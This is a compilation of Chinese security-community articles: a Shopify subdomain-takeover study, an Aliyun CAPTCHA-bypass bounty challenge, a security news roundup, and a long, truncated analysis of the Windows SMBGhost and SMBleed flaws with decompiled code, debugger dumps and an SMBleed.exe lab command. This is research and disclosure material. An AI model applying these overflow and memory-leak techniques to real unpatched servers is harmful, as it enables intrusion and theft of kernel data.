首先我们需要解释一下，为什么在别人已开发了一些脚本的情况下，我们还要开发一个新的脚本来判断Shopify是否存在子域名接管漏洞。现在可用的其他脚本大多数是基于Shopify的错误信息页面来检测是否存在子域名接管漏洞，但这种方法容易得到许多假阳性结果。我们检查过存在这类错误信息的许多页面，只有少部分的确存在子域名接管漏洞。我们开发的简单脚本只执行了3步检查操作：页面错误信息、CNAME以及发起REST
API请求（可根据具体情况再执行API请求）。我们希望未来的子域名接管工具可以采用类似技术来减少误报率。
如果我们在FDNSv2数据集（从2017年至今，新增了部分数据）上运行脚本，那么得到的结果非常可观：大约有超过55,000个子域名存在子域名接管漏洞。
现在我们就可以使用这个数据来判断漏洞奖励相关域名或者客户的相关域名是否位于这个大名单上。
显然，我们也可以在其他云服务提供商使用这种技术。
## 四、总结
我们认为这项研究成果可以让人们了解子域名接管漏洞的影响程度及具体规模。我们认为，在云计算的大背景下，我们面对的是漏洞研究的新时代，不能局限于分析进程堆栈情况，而应提高思维广度（比如分析DNS记录映射情况）来分析漏洞。可能我们需要将云平台甚至互联网本身当成一个大型操作系统来考虑。
## 五、时间线
* 2018年8月21日 — 通过HackerOne将漏洞报告给Shopify
* 2018年8月21日 — Shopify初步反馈
* 2018年8月23日 — Shopify再次反馈
* 2018年9月10日 — 漏洞公开 | 社区文章 |
测试环境：<http://fk.aliyundemo.com/test/>
测试环境开启了滑动验证码限制：高频刷新页面会弹出滑块，滑动滑块后可以通过验证(通过后重新弹滑块需要清除cookie)，本地挑战需要对滑块部分验证逻辑进行绕过
包括但不限于：
1.通过webkit自动化模拟完成滑块验证逻辑
2.逆向滑块前端代码直接伪造数据包绕过滑块验证逻辑。
挑战者需要提供自动化绕过的完整说明和相关脚本。（过程中需要人工干预的绕过方案无效，另外本次挑战是技巧型的，不要“大力出奇迹”的绕过方案）
每个不重复有效绕方案过每个奖励4000元。 | 社区文章 |
# 11月30日 - 每日安全知识热点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
苹果已发布macOS High Sierra 10.13.1创建root用户漏洞的补丁，建议用户赶紧升级！
[Apple closes that big root hole – “Install this update as soon as
possible”](https://nakedsecurity.sophos.com/2017/11/29/apple-closes-that-big-root-hole-install-this-update-as-soon-as-possible/)
<https://support.apple.com/en-us/HT208315>
malwarebytes对此漏洞的介绍
> [Serious macOS vulnerability exposes the root
> user](https://blog.malwarebytes.com/cybercrime/2017/11/serious-macos-> vulnerability-exposes-the-root-user/)
objective-see对此漏洞进行源码级别的分析
<https://objective-see.com/blog/blog_0x24.html>
浏览器被关闭后挖矿脚本竟然还在运行！
<https://www.bleepingcomputer.com/news/security/cryptojacking-script-continues-to-operate-after-users-close-their-browser/>
## 技术类
malwarebytes对持久型浏览器挖矿脚本(关闭浏览器之后挖矿还在进行)的分析
> [Persistent drive-by cryptomining coming to a browser near
> you](https://blog.malwarebytes.com/cybercrime/2017/11/persistent-drive-by-> cryptomining-coming-to-a-browser-near-you/)
巴西的WannaPeace勒索软件样本，该样本只会加密C://testes 目录
<https://twitter.com/malwrhunterteam/status/935847705510924288>
<https://www.virustotal.com/en/file/653bc2b16b1624e045c1225810185e9aa3694dc378fe0095e2052b7f1e265d01/analysis/1511955717/>
新的网页浏览安全工具：DNS over TLS
<https://news.hitb.org/content/new-web-browsing-security-tool-arrives-dns-over-tls>
使用Shodan的ssh公钥扫描器
<https://github.com/0x27/ssh_keyscanner>
Win32k NtUserOpenDesktop拒绝服务漏洞(9200-17046)
<https://gist.github.com/hfiref0x/6e726b352da7642fc5b84bf6ebce0007>
Ursnif变种使用thread local storage（TLS）callbacks进行进程注入
<https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html>
Cisco Talos的研究员分析了最新版本的ROKRAT
<http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html>
exploit-db的官方github仓库
<https://github.com/offensive-security/exploit-database>
Linux平台systemd漏洞导致的拒绝服务
<http://blog.trendmicro.com/trendlabs-security-intelligence/systemd-vulnerability-leads-to-denial-of-service-on-linux/>
利用frida的新型Arm64Writer API来构建内存中的反向TCP shell
<https://versprite.com/og/frida-engage-part2/index.html>
pfSense 2.3.1_1 远程命令执行
<https://cxsecurity.com/issue/WLB-2017110154>
盘点2017年WordPress插件的漏洞
<https://blog.ripstech.com/2017/wordpress-plugin-vulnerabilities-static-analysis/>
WordPress Plugin Code Scanner
<http://www.kitploit.com/2017/11/wpsploit-wordpress-plugin-code-scanner.html>
<https://github.com/m4ll0k/WPSploit>
Email是如何运转的
<https://twitter.com/brutelogic/status/935860998644301835> | 社区文章 |
**作者：Strawberry @ QAX A-TEAM
原文链接：<https://mp.weixin.qq.com/s/Xlfr8AIB43RuJ9lveqUGOA> **
2020年3月11日，微软发布了115个漏洞的补丁程序和一个安全指南（禁用SMBv3压缩指南 ----ADV200005），ADV200005中暴露了一个SMBv3的远程代码执行漏洞，该漏洞可能未经身份验证的攻击者在SMB服务器或客户端上远程执行代码，业内安全专家猜测该漏洞可能会造成蠕虫级传播。补丁日之后，微软又发布了Windows
SMBv3 客户端/服务器远程代码执行漏洞的安全更新细节和补丁程序，漏洞编号为CVE-2020-0796，由于一些小插曲，该漏洞又被称为SMBGhost。
2020年6月10日，微软公开修复了Microsoft Server Message Block 3.1.1
(SMBv3)协议中的另一个信息泄露漏洞CVE-2020-1206。该漏洞是由ZecOps安全研究人员在SMBGhost同一漏洞函数中发现的，又被称为SMBleed。未经身份验证的攻击者可通过向目标SMB服务器发特制数据包来利用此漏洞，或配置一个恶意的
SMBv3 服务器并诱导用户连接来利用此漏洞。成功利用此漏洞的远程攻击者可获取敏感信息。
SMBGhost 和 SMBleed 漏洞产生于同一个函数，不同的是，SMBGhost 漏洞源于OriginalCompressedSize 和
Offset 相加产生的整数溢出，SMBleed 漏洞在于 OriginalCompressedSize 或 Offset
欺骗产生的数据泄露。本文对以上漏洞进行分析总结，主要包括以下几个部分：
* SMBGhost 漏洞回顾
* SMBleed 漏洞复现分析
* 物理地址读 && SMBGhost 远程代码执行
* SMBGhost && SMBleed 远程代码执行
* Shellcode 调试分析
# SMBGhost 漏洞回顾
CVE-2020-0796漏洞源于Srv2DecompressData函数，该函数主要负责将压缩过的SMB数据包还原（解压），但在使用SrvNetAllocateBuffer函数分配缓冲区时，传入了参数OriginalCompressedSegmentSize
+
Offset，由于未对这两个值进行额外判断，存在整数溢出的可能。如果SrvNetAllocateBuffer函数使用较小的值作为第一个参数为SMB数据分配缓冲区，获取的缓冲区的长度或小于待解压数据解压后的数据的长度，这将导致程序在解压（SmbCompressionDecompress）的过程中产生缓冲区溢出。
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
通过SrvNetAllocateBuffer函数获取的缓冲区结构如下，函数返回的是SRVNET_BUFFER_HDR结构的指针，其偏移0x18处存放了User
Buffer指针，User Buffer区域用来存放还原的SMB数据，解压操作其实就是向User Buffer偏移offset处释放解压数据：
原本程序设计的逻辑是，在解压成功之后调用memcpy函数将raw data（压缩数据之前的offset大小的没有被压缩的数据）复制到User
Buffer的起始处，解压后的数据是从offset偏移处开始存放的。正常的情况如下图所示，未压缩的数据后面跟着解压后的数据，复制的数据没有超过User
Buffer的范围：
但由于整数溢出，分配的User Buffer空间会小，User
Buffer减offset剩下的空间不足以容纳解压后的数据，如下图所示。根据该结构的特点，可通过构造Offset、Raw Data和Compressed
Data，在解压时覆盖后面SRVNET BUFFER
HDR结构体中的UserBuffer指针，从而在后续memcpy时向UserBuffer（任意地址）写入可控的数据（任意数据）。
**任意地址写是该漏洞利用的关键。**
3月份跟风分析过此漏洞并学习了通过任意地址写进行本地提权的利用方式，链接如下：<https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q>
# SMBleed 漏洞
根据ZecOps公开的信息可知，引发该漏洞的函数也是srv2.sys中的Srv2DecompressData函数，与SMBGhost漏洞（CVE-2020-0796）相同。
### 漏洞分析
再来回顾一下Srv2DecompressData函数吧，该函数用于还原（解压）SMB数据。首先根据原始压缩数据中的OriginalCompressedSegmentSize和Offset计算出解压后结构的大小，然后通过SrvNetAllocateBuffer函数获取SRVNET
BUFFER HDR结构（该结构中指明了可存放无需解压的Offset长度的数据和解压数据的缓冲区的User
Buffer），然后调用SmbCompressionDecompress函数向User
Buffer的Offset偏移处写入数据。CVE-2020-0796漏洞是由于OriginalCompressedSegmentSize和Offset相加的过程中出现整数溢出，从而导致获取的缓冲区不足以存放解压后的数据，最终在解压过程中产生溢出。
* (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset) 处产生整数溢出，假设结果为x
* SrvNetAllocateBuffer函数会根据x的大小去LookAside中寻找大小合适的缓冲区，并返回其后面的SRVNET BUFFER HDR结构，该结构偏移0x18处指向该缓冲区User Buffer
* SmbCompressionDecompress函数依据指定的压缩算法将待解压数据解压到 User Buffer偏移Offset处，但其实压缩前的数据长度大于剩余的缓冲区长度，解压复制的过程中产生缓冲区溢出
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
在SmbCompressionDecompress函数中有一个神操作，如下所示，如果nt!RtlDecompressBufferEx2返回值非负（解压成功），则将FinalCompressedSize赋值为OriginalCompressedSegmentSize。因而，只要数据解压成功，就不会进入SrvNetFreeBuffer等流程，即使解压操作后会判断FinalCompressedSize和OriginalCompressedSegmentSize是否相等。这是0796任意地址写的前提条件。
if ( (int)RtlGetCompressionWorkSpaceSize(v13, &NumberOfBytes, &v18) < 0
|| (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, (unsigned int)NumberOfBytes, 0x2532534Cu)) != 0i64 )
{
v14 = &FinalCompressedSize;
v17 = v8;
v15 = OriginalCompressedSegmentSize;
v10 = RtlDecompressBufferEx2(v13, v7, OriginalCompressedSegmentSize, v9, v17, 4096, FinalCompressedSize, v6, v18);
if ( v10 >= 0 )
*v14 = v15;
if ( v6 )
ExFreePoolWithTag(v6, 0x2532534Cu);
}
这也是CVE-2020-1206的漏洞成因之一，SmbCompressionDecompress函数会对FinalCompressedSize值进行更新，导致实际解压出来的数据长度和OriginalCompressedSegmentSize不相等时也不会进入释放流程。而且在解压成功之后会将SRVNET
BUFFER HDR结构中的UserBufferSizeUsed赋值为Offset与FinalCompressedSize之和，这个操作也是挺重要的。
//Srv2DecompressData
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Alloc->UserBufferSizeUsed = Header->Offset + FinalCompressedSize;
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
那如果我们将OriginalCompressedSegmentSize设置为比实际压缩的数据长度大的数，让系统认为解压后的数据长度就是OriginalCompressedSegmentSize大小，是不是也可以泄露内存中的数据（类似于心脏滴血）。如下所示，POC中将OriginalCompressedSegmentSize设置为x
+ 0x1000，offset设置为0，最终得到解压后的数据 (长度为x)，其后面跟有未初始化的内核数据 ，然后利用解压后的SMB2 WRITE
消息泄露后面紧跟着的长度为0x1000的未初始化数据。
### 漏洞复现
在Win10 1903下使用公开的SMBleed.exe进行测试（需要身份认证和可写权限）。步骤如下：
_共享C盘，确保允许Everyone进行更改（或添加其他用户并赋予其读取和更改权限）_ 在C盘下创建share目录，以便对文件写入和读取 *
按照提示运行SMBleed.exe程序，例：SMBleed.exe win10 127.0.0.1 DESKTOP-C2C92C6 strawberry
123123 c share\test.bin local.bin
以下为获得的local.bin中的部分信息：
### 抓包分析
在复现的同时可以抓包，可以发现协商之后的大部分包都采用了SMB
压缩（ProtocalId为0x424D53FC）。根据数据包可判断POC流程大概是这样的：SMB协商->用户认证->创建文件->利用漏洞泄露内存信息并写入文件->将文件读取到本地->结束连接。
注意到一个来自服务端的Write
Response数据包，其status为STATUS_SUCCESS，说明写入操作成功。ZecOps在文章中提到过他们利用[SMB2
WRITE消息](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8)来演示此漏洞，因而我们需要关注一下其对应的请求包，也就是下图中id为43的那个数据包。
下面为触发漏洞的SMB压缩请求包，粉色方框里的OriginalCompressedSegmentSize字段值为0x1070，但实际压缩前的数据只有0x70，可借助
SMB2 WRITE 将未初始化的内存泄露出来。
以下为解压前后数据对比，解压前数据大小为0x3f，解压后数据大小为0x70（真实解压大小，后面为未初始化内存），解压后的数据包括SMB2数据包头（0x40长度）和偏移0x40处的SMB2
WRITE结构。在这SMB2 WRITE结构中指明了向目标文件写入后面未初始化的0x1000长度的数据。
3: kd>
srv2!Srv2DecompressData+0xdc:
fffff800`01e17f3c e86f657705 call srvnet!SmbCompressionDecompress (fffff800`0758e4b0)
3: kd> dd rdx //压缩数据
ffffb283`210dfdf0 02460cc0 424d53fe 00030040 004d0009
ffffb283`210dfe00 18050000 ff000100 010000fe 00190038
ffffb283`210dfe10 0018f800 31150007 00007000 ffffff10
ffffb283`210dfe20 070040df 00183e00 00390179 00060007
ffffb283`210dfe30 00000000 00000000 00000000 00000000
ffffb283`210dfe40 00000000 00000000 00000000 00000000
ffffb283`210dfe50 00000000 00000000 00000000 00000000
ffffb283`210dfe60 00000000 00000000 00000000 00000000
3: kd> db ffffb283`1fe23050 l1070 //解压后数据
ffffb283`1fe23050 fe 53 4d 42 40 00 00 00-00 00 00 00 09 00 40 00 .SMB@.........@.
ffffb283`1fe23060 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
ffffb283`1fe23070 ff fe 00 00 01 00 00 00-01 00 00 00 00 f8 00 00 ................
ffffb283`1fe23080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe23090 31 00 70 00 00 10 00 00-00 00 00 00 00 00 00 00 1.p.............
ffffb283`1fe230a0 00 00 00 00 3e 00 00 00-01 00 00 00 3e 00 00 00 ....>.......>...
ffffb283`1fe230b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe230c0 4d 53 53 50 00 03 00 00-00 18 00 18 00 a8 00 00 MSSP............
ffffb283`1fe230d0 00 1c 01 1c 01 c0 00 00-00 1e 00 1e 00 58 00 00 .............X..
ffffb283`1fe230e0 00 14 00 14 00 76 00 00-00 1e 00 1e 00 8a 00 00 .....v..........
ffffb283`1fe230f0 00 10 00 10 00 dc 01 00-00 15 82 88 e2 0a 00 ba ................
ffffb283`1fe23100 47 00 00 00 0f 42 75 7d-f2 d2 46 fe 0f 4b 14 e0 G....Bu}..F..K..
ffffb283`1fe23110 c5 8f fc cd 0a 44 00 45-00 53 00 4b 00 54 00 4f .....D.E.S.K.T.O
ffffb283`1fe23120 00 50 00 2d 00 43 00 32-00 43 00 39 00 32 00 43 .P.-.C.2.C.9.2.C
ffffb283`1fe23130 00 36 00 73 00 74 00 72-00 61 00 77 00 62 00 65 .6.s.t.r.a.w.b.e
ffffb283`1fe23140 00 72 00 72 00 79 00 44-00 45 00 53 00 4b 00 54 .r.r.y.D.E.S.K.T
ffffb283`1fe23150 00 4f 00 50 00 2d 00 43-00 32 00 43 00 39 00 32 .O.P.-.C.2.C.9.2
ffffb283`1fe23160 00 43 00 36 00 00 00 00-00 00 00 00 00 00 00 00 .C.6............
ffffb283`1fe23170 00 00 00 00 00 00 00 00-00 00 00 00 00 21 52 f2 .............!R.
ffffb283`1fe23180 53 be ee d2 a8 01 46 1d-69 9c 78 f5 90 01 01 00 S.....F.i.x.....
ffffb283`1fe23190 00 00 00 00 00 43 c5 71-42 a7 43 d6 01 d9 a8 02 .....C.qB.C.....
ffffb283`1fe231a0 16 83 a3 24 75 00 00 00-00 02 00 1e 00 44 00 45 ...$u........D.E
ffffb283`1fe231b0 00 53 00 4b 00 54 00 4f-00 50 00 2d 00 43 00 32 .S.K.T.O.P.-.C.2
ffffb283`1fe231c0 00 43 00 39 00 32 00 43-00 36 00 01 00 1e 00 44 .C.9.2.C.6.....D
ffffb283`1fe231d0 00 45 00 53 00 4b 00 54-00 4f 00 50 00 2d 00 43 .E.S.K.T.O.P.-.C
ffffb283`1fe231e0 00 32 00 43 00 39 00 32-00 43 00 36 00 04 00 1e .2.C.9.2.C.6....
ffffb283`1fe231f0 00 44 00 45 00 53 00 4b-00 54 00 4f 00 50 00 2d .D.E.S.K.T.O.P.- ffffb283`1fe23200 00 43 00 32 00 43 00 39-00 32 00 43 00 36 00 03 .C.2.C.9.2.C.6..
ffffb283`1fe23210 00 1e 00 44 00 45 00 53-00 4b 00 54 00 4f 00 50 ...D.E.S.K.T.O.P
ffffb283`1fe23220 00 2d 00 43 00 32 00 43-00 39 00 32 00 43 00 36 .-.C.2.C.9.2.C.6
ffffb283`1fe23230 00 07 00 08 00 43 c5 71-42 a7 43 d6 01 06 00 04 .....C.qB.C.....
ffffb283`1fe23240 00 02 00 00 00 08 00 30-00 30 00 00 00 00 00 00 .......0.0......
ffffb283`1fe23250 00 01 00 00 00 00 20 00-00 6f 26 f2 a8 d5 ab cf ...... ..o&.....
ffffb283`1fe23260 14 7d a9 e2 e9 5a 37 0e-94 56 6d 23 d4 42 bf ba .}...Z7..Vm#.B..
ffffb283`1fe23270 1c 3d 9b 38 91 d3 b4 0f-cd 0a 00 10 00 00 00 00 .=.8............
ffffb283`1fe23280 00 00 00 00 00 00 00 00-00 00 00 00 00 09 00 00 ................
ffffb283`1fe23290 00 00 00 00 00 00 00 00-00 1e a8 6f 1d 2e 86 e2 ...........o....
ffffb283`1fe232a0 6b b9 6b 8b e6 21 f6 de-7f a3 12 04 10 01 00 00 k.k..!..........
ffffb283`1fe232b0 00 9d 20 ee a2 a7 b3 6e-67 00 00 00 00 00 00 00 .. ....ng.......
SMB2 WRITE部分结构如下（了解这些就够了吧）： _**StructureSize（2个字节）：**
客户端必须将此字段设置为49（0x31），表示请求结构的大小，不包括SMB头部。 _ **DataOffset（2个字节）：**
指明要写入的数据相对于SMB头部的偏移量（以字节为单位）。 _**长度（4个字节）：** 要写入的数据的长度，以字节为单位。要写入的数据长度可以为0。 _
**偏移量（8个字节）：** 将数据写入目标文件的位置的偏移量（以字节为 **单位）**
。如果在管道上执行写操作，则客户端必须将其设置为0，服务器必须忽略该字段。 *
**FILEID（16个字节）：**[SMB2_FILEID](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/f1d9b40d-e335-45fc-9d0b-199a31ede4c3)
文件句柄。 ……
所以根据以上信息可知，DataOffset为0x70，数据长度为0x1000，从文件偏移0的位置开始写入。查看本次泄露的数据，可以发现正好就是SMB头偏移0x70处的0x1000长度的数据。
所以，前面的UserBufferSizeUsed起了什么样的作用呢？在Srv2PlainTextReceiveHandler函数中会将其复制到v3偏移
0x154处。然后在Smb2ExecuteWriteReal函数（Smb2ExecuteWrite函数调用）中会判断之前复制的那个双字节值是否小于SMB2
WRITE结构中的DataOffset和长度之和，如果小于的话就会出错（不能写入数据）。POC中将这两个字段分别设置为0x70和0x1000，相加后正好等于0x1070，如果将长度字段设置的稍小一些，那么相应的，泄露的数据长度也会变小。也就是说，OriginalCompressedSegmentSize字段设置了泄露的上限（OriginalCompressedSegmentSize
- DataOffset），具体泄露的数据长度还是要看SMB2
WRITE结构中的长度。在这里不得不佩服作者的脑洞，但这种思路需要目标系统共享文件夹以及获取权限，还是有些局限的。
//Srv2PlainTextReceiveHandler
v2 = a2;
v3 = a1;
v4 = Smb2ValidateMessageIdAndCommand(
a1,
*(_QWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x18i64), //UserBuffer
*(_DWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x24i64)); //UserBufferSizeUsed
if ( (v4 & 0x80000000) == 0 )
{
v6 = *(_QWORD *)(v3 + 0xF0);
*(_DWORD *)(v3 + 0x158) = *(_DWORD *)(v6 + 0x24);
v7 = Srv2CheckMessageSize(*(_DWORD *)(v6 + 0x24), *(_DWORD *)(v6 + 0x24), *(_QWORD *)(v6 + 0x18)); //UserBufferSizeUsed or *(int *)(UserBuffer+0x14)
v9 = v7;
if ( v7 == (_DWORD)v8 || (result = Srv2PlainTextCompoundReceiveHandler(v3, v7), (int)result >= 0) )
{
*(_DWORD *)(v3 + 0x150) = v9;
*(_DWORD *)(v3 + 0x154) = v9; //上层结构，没有好好分析
*(_BYTE *)(v3 + 0x198) = 1;
//Smb2ExecuteWriteReal
3: kd> g
Breakpoint 5 hit
srv2!Smb2ExecuteWriteReal+0xc9:
fffff800`01e4f949 0f82e94f0100 jb srv2!Smb2ExecuteWriteReal+0x150b8 (fffff800`01e64938)
3: kd> ub rip
srv2!Smb2ExecuteWriteReal+0xa5:
fffff800`01e4f925 85c0 test eax,eax
fffff800`01e4f927 0f88b94f0100 js srv2!Smb2ExecuteWriteReal+0x15066 (fffff800`01e648e6)
fffff800`01e4f92d 4c39bbb8000000 cmp qword ptr [rbx+0B8h],r15
fffff800`01e4f934 0f85d34f0100 jne srv2!Smb2ExecuteWriteReal+0x1508d (fffff800`01e6490d)
fffff800`01e4f93a 0fb74f42 movzx ecx,word ptr [rdi+42h]
fffff800`01e4f93e 8bc1 mov eax,ecx
fffff800`01e4f940 034744 add eax,dword ptr [rdi+44h]
fffff800`01e4f943 398654010000 cmp dword ptr [rsi+154h],eax
3: kd> dd rdi
ffffb283`1fe25050 424d53fe 00000040 00000000 00400009
ffffb283`1fe25060 00000000 00000000 00000005 00000000
ffffb283`1fe25070 0000feff 00000001 00000001 0000f800
ffffb283`1fe25080 00000000 00000000 00000000 00000000
ffffb283`1fe25090 00700031 00001000 00000000 00000000
ffffb283`1fe250a0 00000000 0000003e 00000001 0000003e
ffffb283`1fe250b0 00000000 00000000 00000000 00000000
ffffb283`1fe250c0 00000000 00000000 00000020 00000000
# 物理地址读&&SMBGhost远程代码执行
在进行复现前，对一些结构进行分析，如Lookaside、SRVNET BUFFER HDR、MDL等等，以便更好地理解这种利用方式。
### Lookaside 初始化
SrvNetAllocateBuffer函数会从SrvNetBufferLookasides表中获取大小合适的缓冲区，如下所示，SrvNetAllocateBuffer第一个参数为数据的长度，这里为还原的数据的长度（解压+无需解压的数据），第二个参数为SRVNET_BUFFER_HDR结构体指针或0。如果传入的长度在[
0x1100 , 0x100100 ] 区间，会进入以下流程。
//SrvNetAllocateBuffer(unsigned __int64 a1, __int64 a2)
//a1: OriginalCompressedSegmentSize + Offset
//a2: 0
v3 = 0;
......
else
{
if ( a1 > 0x1100 ) // 这里这里
{
v13 = a1 - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);// 从高到低扫描，找到第一个1，v14存放比特位
_BitScanForward64((unsigned __int64 *)&v15, v13);// 从低到高扫描，找到第一个1，v15存放比特位
if ( (_DWORD)v14 == (_DWORD)v15 ) // 说明只有一个1
v3 = v14 - 0xC;
else
v3 = v14 - 0xB;
}
v6 = SrvNetBufferLookasides[v3];
上述代码的逻辑为，分别找到length -0x100中1的最高比特位和最低比特位，如果相等的话，用最高比特位索引减0xC，否则用最高比特位索引减0xB。最高比特位x可确定长度的大致范围[1<>i)
+ 0x100的值，也就是length，第三行为 i - 0xc，表示SrvNetBufferLookasides中相应的索引。
比特位 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20
---|---|---|---|---|---|---|---|---|---
长度 | 0x1100 | 0x2100 | 0x4100 | 0x8100 | 0x10100 | 0x20100 | 0x40100 | 0x80100
| 0x100100
索引 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8
后面的流程为根据索引从SrvNetBufferLookasides中取出相应结构体X的指针，取其第一项（核心数加1的值），v2为KPCR结构偏移0x1A4处的核心号。然后从结构体X偏移0x20处获取结构v9，v7（v8）表示当前核心要处理的数据在v9结构体中的索引（核心号加1），然后通过v8索引获取结构v10，综上：v10
= _(_QWORD_ )( _(_QWORD_ )（SrvNetBufferLookasides[index] + 0x20）+ 8*（Core
number +
1）），如果v10偏移0x70处不为0（表示结构已分配），就取出v10偏移8处的结构（SRVNET_BUFFER_HDR）。如果没分配，就调用PplpLazyInitializeLookasideList函数。
v2 = __readgsdword(0x1A4u);
......
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)v2 + 1 < *(_DWORD *)v6 )
v7 = v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 0x20);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 0x14);
v11 = (SRVNET_BUFFER_HDR *)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
举个例子（单核系统），假设需要的缓冲区长度为0x10101（需要0x20100大小的缓冲区来存放），得到SrvNetBufferLookasides表中的索引为5，最终通过一步一步索引得到缓冲区0xffffcc0f775f0150（熟悉的SRVNET_BUFFER_HDR结构）：
kd>
srvnet!SrvNetAllocateBuffer+0x5d:
fffff806`2280679d 440fb7c5 movzx r8d,bp
//SrvNetBufferLookasides表 大小0x48 索引0-8
kd> dq rcx
fffff806`228350f0 ffffcc0f`7623dd00 ffffcc0f`7623d480
fffff806`22835100 ffffcc0f`7623dc40 ffffcc0f`7623d100
fffff806`22835110 ffffcc0f`7623dd80 ffffcc0f`7623d640
fffff806`22835120 ffffcc0f`7623db40 ffffcc0f`7623dbc0
fffff806`22835130 ffffcc0f`7623de00
//SrvNetBufferLookasides[5] 单核系统核心数1再加1为2（第一项）
kd> dq ffffcc0f`7623d640
ffffcc0f`7623d640 00000000`00000002 6662534c`3030534c
ffffcc0f`7623d650 00000000`00020100 00000000`00000200
ffffcc0f`7623d660 ffffcc0f`762356c0 00000000`00000000
ffffcc0f`7623d670 00000000`00000000 00000000`00000000
//上面的结构偏移0x20
kd> dq ffffcc0f`762356c0
ffffcc0f`762356c0 ffffcc0f`75191ec0 ffffcc0f`75192980
//上面的结构偏移8 v8 = v7 = 2 - 1 = 1
kd> dq ffffcc0f`75192980
ffffcc0f`75192980 00000000`00090001 ffffcc0f`775f0150
ffffcc0f`75192990 00000009`01000004 00000009`00000001
ffffcc0f`751929a0 00000200`00000000 00020100`3030534c
ffffcc0f`751929b0 fffff806`2280d600 fffff806`2280d590
ffffcc0f`751929c0 ffffcc0f`76047cb0 ffffcc0f`75190780
ffffcc0f`751929d0 00000001`00000009 00000000`00000000
ffffcc0f`751929e0 ffffcc0f`75191ec0 00000000`00000000
ffffcc0f`751929f0 00000000`00000001 00000000`00000000
//ExpInterlockedPopEntrySList弹出偏移8处的0xffffcc0f775f0150，还是熟悉的味道（SRVNET_BUFFER_HDR）
kd> dd ffffcc0f`775f0150
ffffcc0f`775f0150 00000000 00000000 72f39558 ffffcc0f
ffffcc0f`775f0160 00050000 00000000 775d0050 ffffcc0f
ffffcc0f`775f0170 00020100 00000000 00020468 00000000
ffffcc0f`775f0180 775d0000 ffffcc0f 775f01e0 ffffcc0f
ffffcc0f`775f0190 00000000 6f726274 00000000 00000000
ffffcc0f`775f01a0 775f0320 ffffcc0f 00000000 00000000
ffffcc0f`775f01b0 00000000 00000001 63736544 74706972
ffffcc0f`775f01c0 006e6f69 00000000 ffffffd8 00610043
SrvNetBufferLookasides是由自定义的SrvNetCreateBufferLookasides函数初始化的。如下所示，这里其实就是以1
<< (index + 0xC)) + 0x100为长度（0 <= index <
